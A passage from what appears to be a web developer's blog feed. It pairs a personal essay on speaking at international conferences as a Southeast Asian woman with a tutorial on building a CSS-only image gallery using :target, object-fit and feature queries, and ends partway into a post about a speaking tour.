&lt;p&gt;Most web development conferences take place in North America or Europe. This is not surprising given that both the Internet and the World Wide Web originated from that part of the world. If you remember the world map earlier in this post, you&apos;ll notice that we are pretty far away from North America and Europe. Keep this in mind when I say I haven&apos;t seen that many speakers from Southeast Asia at big name web conferences.&lt;/p&gt;
&lt;p&gt;I have been involved in helping out with conference organisation before, so I&apos;m perfectly aware of how much time, effort and money it takes to hold a large conference. So one of the probable reasons you don&apos;t see many Southeast Asian speakers is because flying us out costs a lot of money.&lt;/p&gt;
&lt;p&gt;Now tie that in with the notion that people from Southeast Asia don&apos;t speak English well (refer to video above), and you&apos;ll see that we seem to be in quite a hole here. As a conference organiser, you want to have excellent speakers with high quality content to make the conference a success. Would you take a chance on an unproven speaker from halfway around the world?&lt;/p&gt;
&lt;p&gt;It&apos;s a bit of a chicken and egg problem we have here. Definitely not something that can be solved with a simple solution. But I hope this sets some context for some of my subsequent (potentially controversial) viewpoints.&lt;/p&gt;
&lt;p&gt;At this point, I want to express my immense gratitude to the organisers who chose to take a chance on me. 2017 was my inaugural year of speaking internationally at web conferences. But I started out at a local meetup in 2015, when a friend of mine asked me to talk about an article I wrote that was published on A List Apart.&lt;/p&gt;
&lt;p&gt;One thing led to another and before I knew it, I got my first hosting gig as the MC for &lt;a href=&quot;https://2015.cssconf.asia/&quot;&gt;CSSConf.Asia 2015&lt;/a&gt; from &lt;a href=&quot;https://twitter.com/serrynaimo&quot;&gt;Thomas Gorissen&lt;/a&gt;. That was how I got to know Aysha in the first place (I still remember exactly where and when we met &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person gesturing ok&quot;&gt;🙆&lt;/span&gt;). The following year, I did a short talk at &lt;a href=&quot;https://2016.cssconf.asia/&quot;&gt;CSSConf.Asia 2016&lt;/a&gt; which was in turn MC-ed by Aysha and another good friend of mine, Zell.&lt;/p&gt;
&lt;p&gt;Because I am lucky enough to be in Singapore, where almost every tech meetup is recorded, I ended up with a number of videos of my talks I could refer to when submitting CFPs. But I still needed people to take a chance on me.&lt;/p&gt;
&lt;h2&gt;This is ten percent luck&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://imakewebsites.hk/&quot;&gt;Charis Rooda&lt;/a&gt;, organiser of &lt;a href=&quot;https://webconf.asia/&quot;&gt;Webconf.Asia&lt;/a&gt; gave me my first shot at a full-length conference talk, and put me in a stellar line-up which included &lt;a href=&quot;http://www.heydonworks.com/&quot;&gt;Heydon Pickering&lt;/a&gt; and &lt;a href=&quot;https://trib.tv/&quot;&gt;Andrew Betts&lt;/a&gt;. The conference paid for my flight and accommodation, which honestly was good enough for me. I know some experienced speakers can wing it and still give a great talk, but I&apos;m not one of them. Maybe some day, but not today.&lt;/p&gt;
&lt;p&gt;I finished writing my talk a month before the conference and I rehearsed the shit out of it. Because I felt an added responsibility of representing Southeast Asia to the best of my ability, due to the fact that there simply aren&apos;t that many of us on the international stage. &lt;strong&gt;In my mind, I cannot just be average or good, I have to aim for perfect, because I don&apos;t want to mess it up for the rest of us.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I definitely don&apos;t want audiences walking away thinking that female speaker from who-knows-where was probably just a diversity invite. I wanted it to be that if you didn&apos;t know where Malaysia was before, I would guarantee that after my session, you will remember me as that woman from Malaysia who gave a surprisingly excellent and informative talk.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This is ten percent luck, twenty percent skill&lt;br&gt;
Fifteen percent concentrated power of will&lt;br&gt;
Five percent pleasure, fifty percent pain&lt;br&gt;
And a hundred percent reason to remember the name&lt;br&gt;
—Fort Minor, &lt;em&gt;Remember the name&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://twitter.com/pepelsbey_?lang=en&quot;&gt;Vadim Makeev&lt;/a&gt;, organiser of &lt;a href=&quot;https://pitercss.com/&quot;&gt;pitercss conference&lt;/a&gt;, flew me out to Saint Petersburg, which was the first time I travelled out of Asia to give a talk. Again, the talk was prepared way ahead of the conference and rehearsed until the cows came home. Also, a large reason why I got the chance to speak at &lt;a href=&quot;http://2017.formfunctionclass.com/&quot;&gt;Form, Function Class 8&lt;/a&gt; was because the organisers were in attendance at &lt;a href=&quot;http://Webconf.asia&quot;&gt;Webconf.asia&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Speaking at my first conference introduced me to people who brought me subsequent opportunities. I desperately want people outside our region to realise that there is a lot of talent over here, and we too can do well on the international stage. All we need is a foot in the door, and an opportunity to show what we can do.&lt;/p&gt;
&lt;h2&gt;Our path is different from yours&lt;/h2&gt;
&lt;p&gt;Opportunities for us are few and far between, so if you are a minority thinking of being a speaker at an international conference, you do have to deliver, perhaps even more so than if you were not a minority.&lt;/p&gt;
&lt;p&gt;I admit that conference speaking is not for everybody, and that&apos;s perfectly fine. But if you want to do it, and you&apos;re not a straight white man, there is one reality of life you have to come to terms with. And that is, the straight white man is judged as an individual, but the rest of us are judged as a collective.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;People of color often carry the baggage of their ethnic group’s most poorly behaved while whites are not judged by the Ted Bundys, Timothy McVeighs and Jeffery Dahmers.&lt;br&gt;
&lt;a href=&quot;https://prejudiceanddiscrimination.com/it%E2%80%99s-a-minority-thing-%E2%80%A6-whites-may-not-understand/&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This short film by &lt;a href=&quot;https://twitter.com/NeelKolhatkar&quot;&gt;Neel Kolhatkar&lt;/a&gt;, though not directly related to the tech industry or speaking at conferences in general, is still relevant in the broader sense of how today&apos;s society functions.&lt;/p&gt;
&lt;iframe
  width=&quot;560&quot;
  height=&quot;315&quot;
  src=&quot;https://www.youtube.com/embed/AOMpxsiUg2Q?rel=0&quot;
  frameborder=&quot;0&quot;
  allowfullscreen
&gt;&lt;/iframe&gt;
&lt;p&gt;&lt;a href=&quot;https://www.gog.com/game/the_ultimate_doom&quot;&gt;Doom&lt;/a&gt; describes the different playing fields exceptionally well. Depending on which characteristics you possess, your difficulty level just creeps up higher and higher. If you&apos;re a woman in tech, you probably start off at “Ultra-violence” already. Sorry, sad fact of life.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/speaking/doom.png&quot;
  srcset=&quot;/images/posts/speaking/doom@2x.png 2x&quot;
  alt=&quot;Doom skill levels&quot;
/&gt;&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  Michelle Obama makes some excellent points here when asked if she thought women in general have
  less chances to fail:
&lt;/p&gt;
&lt;blockquote class=&quot;twitter-video&quot; data-lang=&quot;en-gb&quot;&gt;
  &lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;
    .&lt;a href=&quot;https://twitter.com/MichelleObama?ref_src=twsrc%5Etfw&quot;&gt;@MichelleObama&lt;/a&gt;: “I have
    been at so many tables with so many fools...but shame on us if we sit by and let an imposter
    talk us down” &lt;a href=&quot;https://t.co/7yXm8tZYmz&quot;&gt;pic.twitter.com/7yXm8tZYmz&lt;/a&gt;
  &lt;/p&gt;
  &amp;mdash; Channel 4 News (@Channel4News) &lt;a href=&quot;https://twitter.com/Channel4News/status/915564006106173440?ref_src=twsrc%5Etfw&quot;&gt;4 October 2017&lt;/a&gt;
&lt;/blockquote&gt;
&lt;p&gt;Over the years, I&apos;ve come to realise that you can&apos;t live another&apos;s experience, even if there is vivid imagery capturing the moment. So I do understand that the further away you are from my circumstance, the harder it will be for you to comprehend the points I&apos;m trying to get across. It is akin to explaining the colours of the rainbow to a colour-blind person. But that doesn&apos;t make it any less frustrating sometimes.&lt;/p&gt;
&lt;h2&gt;Representation matters&lt;/h2&gt;
&lt;p&gt;I&apos;m not averse to being the token Asian, or token female speaker at a conference, because I&apos;m still naive enough to believe that if I do an excellent job, people won&apos;t even notice my gender or ethnicity. Aysha and I both agree that we will take what we can get, because right now, there isn&apos;t that much to go around. But hopefully that will change for the better.&lt;/p&gt;
&lt;p&gt;Some people might think what I&apos;m saying is rubbish, but I do believe that life is not fair. None of us chose where we were born or to be born at all for that matter. Nobody would choose to be born in a war-torn area shelled by artillery day after day. The circumstances in which we were born into dictate how far behind the finish line of success we start off on, and that can&apos;t be helped.&lt;/p&gt;
&lt;p&gt;Perhaps it&apos;s because I&apos;m new to this speaking thing, but at the back of my mind, I always wonder if audiences will just switch off during my session and wait to get to the good stuff by the big name speakers. Like being the opening act for the main event. But because I tend to live in my own head, once I start speaking, I really get into it (I can&apos;t help it, I love my subject matter &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;).&lt;/p&gt;
&lt;p&gt;Thus far, I&apos;ve been treated with nothing but kindness during my various speaking stints. And I truly appreciate how sweet the audiences have been, the people who come up to me after my session to tell me they enjoyed it, the often-amusing tweets I see on my timeline after the fact.&lt;/p&gt;
&lt;p&gt;The most memorable moments came from when I was speaking at the Malaysia stops on the Mozilla Developer Roadshow. It never occurred to me that local audiences would be interested in a local speaker when there were Westerners around. In hindsight, I probably do have some subconscious bias against locals from years of being inundated with media portraying Westerners as superior when I was a kid. I&apos;m not proud of it.&lt;/p&gt;
&lt;p&gt;So when I opened my Kuala Lumpur talk with “Saya bangga jadi anak Malaysia”, and received a warm applause from the audience, it was the most amazing feeling. That phrase translates to “I am proud to be Malaysian”, and I believe it with every fibre of my being. At the Penang stop, one of the people who came up to chat with me afterward even mentioned that some people probably came just to see my session, because I was a local name. And that just blew my mind.&lt;/p&gt;
&lt;p&gt;Now when I think about how I feel when I see our national athletes do well at the Olympics, or when I see Michelle Yeoh kick ass on the silver screen, or when I discovered that Captain Philippa Georgiou of the USS Shenzhou is &lt;strong&gt;canonically Malaysian&lt;/strong&gt; &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;vulcan salute&quot;&gt;🖖&lt;/span&gt;, I realised that representation does matter.&lt;/p&gt;
&lt;p&gt;The local community does care when one of our own does good. And that only fuels my motivation to be excellent, especially when I get the chance to stand on an international stage. And hopefully, somebody will see us and think, if she can do it, I can do it too.&lt;/p&gt;
</content:encoded></item><item><title>Building a CSS-only image gallery (with fallbacks)</title><link>https://chenhuijing.com/blog/building-a-css-only-image-gallery/</link><guid isPermaLink="true">https://chenhuijing.com/blog/building-a-css-only-image-gallery/</guid><description>This article has been translated to Japanese on SeleQt. Sometimes, we get handed a project in which we have almost complete creative control and free-reign to…</description><pubDate>Sun, 08 Oct 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;This article has been translated to Japanese on &lt;a href=&quot;https://www.seleqt.net/programming/bulding-a-css-only-image-gallery-with-fallbacks/&quot;&gt;SeleQt&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Sometimes, we get handed a project in which we have almost complete creative control and free-reign to do pretty much whatever. I consider myself pretty lucky to have had 2 such projects since the start of my web development career. The latest one being the website for &lt;a href=&quot;https://www.wismutlabs.com&quot;&gt;Wismut Labs&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I sort of talked about how the website itself got built, from the branding, to the design and actual code, &lt;a href=&quot;https://www.wismutlabs.com/blog/whats-in-a-name/&quot;&gt;if you&apos;re interested&lt;/a&gt;. To me, projects like these are like going on vacation, because a typical project involves a lot more stakeholders, more considerations and more compromise (on a myriad of things).&lt;/p&gt;
&lt;p&gt;But I digress. The point today is to talk about building an experimental CSS-only image gallery, which doesn&apos;t break the experience even on older browsers. The point of an image gallery is to view images. How said images are displayed on every browser doesn&apos;t have to be identical. The TLDR is I built a little image gallery for &lt;a href=&quot;https://www.wismutlabs.com/blog/wismut-labs-sign-mou-to-be-part-of-iiot-consortium/&quot;&gt;one of the Wismut Labs blog posts&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;CSS-only image gallery&lt;/h2&gt;
&lt;p&gt;A little bit of back story to how this experiment came about. I have a designer friend who was asking my opinion on a website she was designing for and one of the features was an image gallery with a slider. The site was for a company which sold second-hand &lt;abbr title=&quot;Computer numerical control&quot;&gt;CNC&lt;/abbr&gt; machines.&lt;/p&gt;
&lt;p&gt;The purpose of having an image gallery with the slider was to allow potential buyers to view the machine from as many angles and close-ups as possible. Quite reasonable, if you ask me. But I also wondered if I could build that without the use of JavaScript, and after a little bit of research, I found out that it was totally possible.&lt;/p&gt;
&lt;p&gt;First, let&apos;s break down the requirements for an image gallery with a slider. We&apos;ll need an image displayed at a reasonably large size at all times, as well as a set of thumbnails for all other images in the gallery. The displayed image should correspond to the thumbnail being clicked on, making the thumbnails the navigation for the gallery.&lt;/p&gt;
&lt;p&gt;Keep in mind that this is just one type of image gallery with slider, and there are a myriad of behaviours for such a component, which will require different techniques to build. But for the one I just described, the relevant CSS properties to achieve the desired behaviour is as follows:&lt;/p&gt;
&lt;p&gt;{/_ prettier-ignore _/}&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/css-flexbox-1/&quot;&gt;Flexbox&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/css-values-3/#viewport-relative-lengths&quot;&gt;Viewport-percentage units&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/css3-images/#the-object-fit&quot;&gt;Object-fit&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/css-transforms-1/&quot;&gt;Transforms&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/css3-animations/&quot;&gt;Animations&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/css3-selectors/#target-pseudo&quot;&gt;:target&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.w3.org/TR/css3-selectors/#negation&quot;&gt;:not()&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I like to do my demos stand-alone, just so I can get an accurate grasp of exactly what code is needed without worrying about how to integrate the component into the larger context of a website. We can worry about that bit later.&lt;/p&gt;
&lt;p&gt;One thing I wanted to experiment with was to keep the aspect-ratio true to the original images regardless of how the viewport size changed. And also, whether it was possible for the image gallery to never exceed the bounds of the viewport.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;This is Chinese supermodel, Liu Wen, who features in this demo&lt;/figcaption&gt;
  &lt;img src=&quot;/images/posts/responsive-slider/liuwen.jpg&quot; srcset=&quot;/images/posts/responsive-slider/liuwen@2x.jpg 2x&quot; alt=&quot;Liu Wen&quot; /&gt;
&lt;/figure&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  The markup for the gallery involves 2 lists of images, the display images and the thumbnails:
&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;div class=&amp;quot;container&amp;quot;&amp;gt;
  &amp;lt;ul class=&amp;quot;slides&amp;quot;&amp;gt;
    &amp;lt;li id=&amp;quot;slide1&amp;quot;&amp;gt;
      &amp;lt;img src=&amp;quot;https://cdn.rawgit.com/huijing/filerepo/gh-pages/lw1.jpg&amp;quot; alt=&amp;quot;&amp;quot; /&amp;gt;
    &amp;lt;/li&amp;gt;
    &amp;lt;li id=&amp;quot;slide2&amp;quot;&amp;gt;
      &amp;lt;img src=&amp;quot;https://cdn.rawgit.com/huijing/filerepo/gh-pages/lw2.jpg&amp;quot; alt=&amp;quot;&amp;quot; /&amp;gt;
    &amp;lt;/li&amp;gt;
    &amp;lt;li id=&amp;quot;slide3&amp;quot;&amp;gt;
      &amp;lt;img src=&amp;quot;https://cdn.rawgit.com/huijing/filerepo/gh-pages/lw3.jpg&amp;quot; alt=&amp;quot;&amp;quot; /&amp;gt;
    &amp;lt;/li&amp;gt;
    &amp;lt;li id=&amp;quot;slide4&amp;quot;&amp;gt;
      &amp;lt;img src=&amp;quot;https://cdn.rawgit.com/huijing/filerepo/gh-pages/lw4.jpg&amp;quot; alt=&amp;quot;&amp;quot; /&amp;gt;
    &amp;lt;/li&amp;gt;
    &amp;lt;li id=&amp;quot;slide5&amp;quot;&amp;gt;
      &amp;lt;img src=&amp;quot;https://cdn.rawgit.com/huijing/filerepo/gh-pages/lw5.jpg&amp;quot; alt=&amp;quot;&amp;quot; /&amp;gt;
    &amp;lt;/li&amp;gt;
  &amp;lt;/ul&amp;gt;

  &amp;lt;ul class=&amp;quot;thumbnails&amp;quot;&amp;gt;
    &amp;lt;li&amp;gt;
      &amp;lt;a href=&amp;quot;#slide1&amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;https://cdn.rawgit.com/huijing/filerepo/gh-pages/lw1.jpg&amp;quot; /&amp;gt;&amp;lt;/a&amp;gt;
    &amp;lt;/li&amp;gt;
    &amp;lt;li&amp;gt;
      &amp;lt;a href=&amp;quot;#slide2&amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;https://cdn.rawgit.com/huijing/filerepo/gh-pages/lw2.jpg&amp;quot; /&amp;gt;&amp;lt;/a&amp;gt;
    &amp;lt;/li&amp;gt;
    &amp;lt;li&amp;gt;
      &amp;lt;a href=&amp;quot;#slide3&amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;https://cdn.rawgit.com/huijing/filerepo/gh-pages/lw3.jpg&amp;quot; /&amp;gt;&amp;lt;/a&amp;gt;
    &amp;lt;/li&amp;gt;
    &amp;lt;li&amp;gt;
      &amp;lt;a href=&amp;quot;#slide4&amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;https://cdn.rawgit.com/huijing/filerepo/gh-pages/lw4.jpg&amp;quot; /&amp;gt;&amp;lt;/a&amp;gt;
    &amp;lt;/li&amp;gt;
    &amp;lt;li&amp;gt;
      &amp;lt;a href=&amp;quot;#slide5&amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;https://cdn.rawgit.com/huijing/filerepo/gh-pages/lw5.jpg&amp;quot; /&amp;gt;&amp;lt;/a&amp;gt;
    &amp;lt;/li&amp;gt;
  &amp;lt;/ul&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The thumbnails and the display images are the same, I figured since I had to load the display images anyway, might as well just use them for the thumbnails and style them accordingly. That way I didn&apos;t have to prepare a second set of images for thumbnails and load those.&lt;/p&gt;
&lt;p&gt;You&apos;ll notice that the display images all have an ID and each of the corresponding thumbnails have an &lt;code&gt;href&lt;/code&gt; to those IDs. This is necessary for the &lt;code&gt;:target&lt;/code&gt; pseudo-class selector to work, which allows us to apply styles to the target element of a URI containing a fragment identifier.&lt;/p&gt;
&lt;p&gt;Because the images I chose to use for this demo are oriented in portrait, I decided to make the thumbnails display in a column on the right of the display image. &lt;code&gt;object-fit&lt;/code&gt; allowed me to crop the portrait images to a landscape orientation and position them such that the focus of the image is still on key content (e.g. the model&apos;s face).&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;.thumbnails {
  display: flex;
  flex-direction: column;
  line-height: 0;

  li {
    flex: auto;
  }

  a {
    display: block;
  }

  img {
    width: 30vmin;
    height: 20vmin;
    object-fit: cover;
    object-position: top;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The trick to keeping the image gallery within the bounds of the viewport at all times is the &lt;code&gt;vmin&lt;/code&gt; unit. It refers to the 1% of either the viewport width or height, whichever is smaller at the moment. By setting the height of the gallery to &lt;code&gt;100vmin&lt;/code&gt;, we can be assured that the gallery will never overflow the viewport.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;.slides {
  overflow: hidden;
  width: 75vmin;
  height: 100vmin;

  li {
    width: 75vmin;
    height: 100vmin;
    position: absolute;
    z-index: 1;
  }

  img {
    height: 100vmin;
    object-fit: cover;
    object-position: top;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Another part of the slider, is inevitably, the sliding effect, which can be achieved with the help of CSS transforms and animations. The premise of this technique is to have all the display images translated upward 100% of their height, and have them revert to their original position when their respective thumbnail is clicked on.&lt;/p&gt;
&lt;p&gt;The keyframes are very simple (I did not bother with any elaborate timing functions, and you&apos;re free to improve on this) and linear. These animations are triggered with the &lt;code&gt;:target&lt;/code&gt; selector.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;.slides li:target {
  z-index: 3;
  -webkit-animation: slide 1s 1;
}

.slides li:not(:target) {
  -webkit-animation: hidden 1s 1;
}

@keyframes slide {
  0% {
    transform: translateY(-100%);
  }
  100% {
    transform: translateY(0%);
  }
}

@keyframes hidden {
  0% {
    z-index: 2;
  }
  100% {
    z-index: 2;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The end result can be seen in the CodePen below. Not too much code, and even works in IE11, because the &lt;code&gt;:target&lt;/code&gt; selector has been supported since IE9. It&apos;s just that IE11 doesn&apos;t support &lt;code&gt;object-fit&lt;/code&gt; so the thumbnail aspect ratio is very skewed.&lt;/p&gt;
&lt;p data-height=&quot;300&quot; data-theme-id=&quot;9162&quot; data-slug-hash=&quot;GvNLJm&quot; data-default-tab=&quot;css,result&quot; data-user=&quot;huijing&quot; data-embed-version=&quot;2&quot; data-pen-title=&quot;Responsive CSS vertical slider with thumbnails&quot; class=&quot;codepen&quot;&gt;See the Pen &lt;a href=&quot;https://codepen.io/huijing/pen/GvNLJm/&quot;&gt;Responsive CSS vertical slider with thumbnails&lt;/a&gt; by Chen Hui Jing (&lt;a href=&quot;https://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;) on &lt;a href=&quot;https://codepen.io&quot;&gt;CodePen&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Which leads to the next relevant point of discussion: &lt;strong&gt;feature queries&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;Feature queries...again?&lt;/h2&gt;
&lt;p&gt;Yes, my friend. Feature queries, all day, every day. I&apos;m going to keep talking about feature queries until the cows come home. At least till there&apos;s a better solution (but I think this is a pretty sweet solution already).&lt;/p&gt;
&lt;p&gt;Honestly, the existence of feature queries has changed the way I think about doing web design, and flipped a switch in my brain to start embracing the fact that different browsers will sometimes render things differently, so why not make use of it?&lt;/p&gt;
&lt;p&gt;For this CSS-only image gallery, the least supported property is &lt;code&gt;object-fit&lt;/code&gt; followed by viewport-percentage lengths. The logic behind this approach is to assess the properties critical to the functionality of the feature you&apos;re trying to build, then determine how to break down the layers of support.&lt;/p&gt;
&lt;p&gt;I attempted to integrate the image gallery into an existing site, with an existing code-base, and lots of other elements on the page besides the gallery, which meant the &lt;code&gt;vmin&lt;/code&gt; approach had to be modified somewhat.&lt;/p&gt;
&lt;h3&gt;Basic fallback first&lt;/h3&gt;
&lt;p&gt;Although I start off with the end result in mind, I always think about the opposite end of the spectrum, which is the base level display of the components with none of the features. For an image gallery like this, it&apos;ll be a list of images (albeit with a little bit of styling).&lt;/p&gt;
&lt;p&gt;I chose to display the images in columns as the viewport size grew larger, using the most basic layout technique, &lt;code&gt;inline-block&lt;/code&gt;. Given this wouldn&apos;t be a slider at all, the thumbnails became unnecessary.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;.container {
  text-align: center;
  margin-bottom: 1em;

  ul,
  li,
  img {
    margin: 0;
  }

  li {
    list-style: none;
  }

  .slides {
    display: inline-block;

    li {
      width: 10em;
      display: inline-block;
      vertical-align: top;
      margin-bottom: 0.25em;
    }

    img {
      width: 100%;
    }
  }

  .thumbnails {
    display: none;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Layer it on&lt;/h3&gt;
&lt;p&gt;There isn&apos;t sufficient real estate on a narrow screen for the image gallery either, so the code for the image gallery kicks in beyond the minimum screen width of 540px. Anything less than that gets the images in a list. Trade-offs &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;A quick run-through of the CSS properties needed for the slider to work reveals that the least supported property is &lt;code&gt;object-fit&lt;/code&gt;. There is no hard and fast rule for what to use in your feature query because every context is different. For this particular case, I went with &lt;code&gt;object-fit&lt;/code&gt; as the basis of my feature query because it was the least supported of the lot.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;@media screen and (min-width: 540px) {
  @supports (object-fit: cover) {
    .container {
      display: flex;
      justify-content: center;
      margin-bottom: 1em;

      .slides {
        overflow: hidden;
        width: 50vmax;

        li {
          position: absolute;
          z-index: 1;
          width: initial;
          display: block;
        }

        li:target {
          z-index: 3;
          -webkit-animation: fade 0.6s 1;
        }

        li:not(:target) {
          -webkit-animation: hidden 0.6s 1;
        }

        img {
          width: auto;
          object-fit: cover;
          object-position: top;
          height: 37.5vmax;
        }
      }

      .thumbnails {
        display: flex;
        flex-direction: column;
        line-height: 0;
        width: 13.75vmax;

        li {
          flex: auto;
        }

        a {
          display: block;
          border: 0;
        }

        img {
          object-fit: cover;
          object-position: top;
          width: 100%;
          height: calc(37.5vmax / 7);
        }
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The end result looked something like the video below (I&apos;m not good at doing screen recordings tbh). Is it the best image slider ever? Definitely not. But it worked for the context in which it was used.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Sorry, this is a terrible screen recording&lt;/figcaption&gt;
  &lt;video controls autoplay muted loop&gt;
    &lt;source src=&quot;/videos/css-slider.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded
    videos, but don&apos;t worry, you can &lt;a href=&quot;/videos/css-slider.mp4&quot;&gt;download it&lt;/a&gt;and watch it with
    your favourite video player!
  &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;There may be instances where the component you&apos;re trying to build works incrementally for the CSS properties required. In that case, you may have multiple feature queries, providing an even more nuanced level of feature support.&lt;/p&gt;
&lt;p&gt;Again, these decisions may or may not be trivial depending on the scope and context of your project, but feature queries are an incredibly useful tool in our arsenal and we should be skilled enough to wield them masterfully regardless of whether they are used in every project or not.&lt;/p&gt;
&lt;h2&gt;Sidenote: copy and paste is not integration&lt;/h2&gt;
&lt;p&gt;It&apos;s pretty common to find code snippets online for various functionalities like carousels, tabs, loaders etc. and a lot of them are written well, but simply copying and pasting them into your own project without an understanding of how the underlying code works tends to break things.&lt;/p&gt;
&lt;p&gt;Integrating someone else&apos;s code seamlessly into your own project is an underrated skill, IMHO, because it requires you to be as proficient, if not more so, than the original author in order to discern which parts of the code are relevant to the functionality you need, and which can be discarded.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;As I continue to delve and experiment with various CSS properties, feature queries will remain a key ingredient in my code. I can&apos;t force anybody to use feature queries, but I do hope a handful of people who read this or see some of my demos feel curious enough to try them out.&lt;/p&gt;
&lt;p&gt;I&apos;m no expert, so I&apos;m constantly tweaking, building and breaking stuff as I attempt to code whatever tickles my fancy at the moment. Did you know someone once said, the only way to get better at CSS is to CSS more (actually no, he was talking about running, but running...CSS...same difference, no? &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;face with stuck-out tongue&quot;&gt;😛&lt;/span&gt;) Till the next one!&lt;/p&gt;
</content:encoded></item><item><title>Talking about talking CSS</title><link>https://chenhuijing.com/blog/talking-about-talking-css/</link><guid isPermaLink="true">https://chenhuijing.com/blog/talking-about-talking-css/</guid><description>This is almost a live recap of my tour of South-east Asia (and Hong Kong) this month (September 2017) and will be updated as things chug along. There&apos;s also a…</description><pubDate>Thu, 21 Sep 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;This is almost a live recap of my tour of South-east Asia (and Hong Kong) this month (September 2017) and will be updated as things chug along. There&apos;s also a long introductory passage about public speaking, skip if you&apos;re not interested.&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;15 days, 7 talks, 5 countries&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#--form-function-class-8&quot;&gt;Form Function Class 8 @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Philippines&quot;&gt;🇵🇭&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--mozilla-dev-roadshow-singapore&quot;&gt;Mozilla Developer Roadshow @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Singapore&quot;&gt;🇸🇬&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--mozilla-dev-roadshow-ho-chi-minh&quot;&gt;Mozilla Developer Roadshow @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Vietnam&quot;&gt;🇻🇳&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--mozilla-dev-roadshow-kuala-lumpur&quot;&gt;Mozilla Developer Roadshow @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Malaysia&quot;&gt;🇲🇾&lt;/span&gt; (Kuala Lumpur)&lt;/a&gt;&lt;/li&gt;
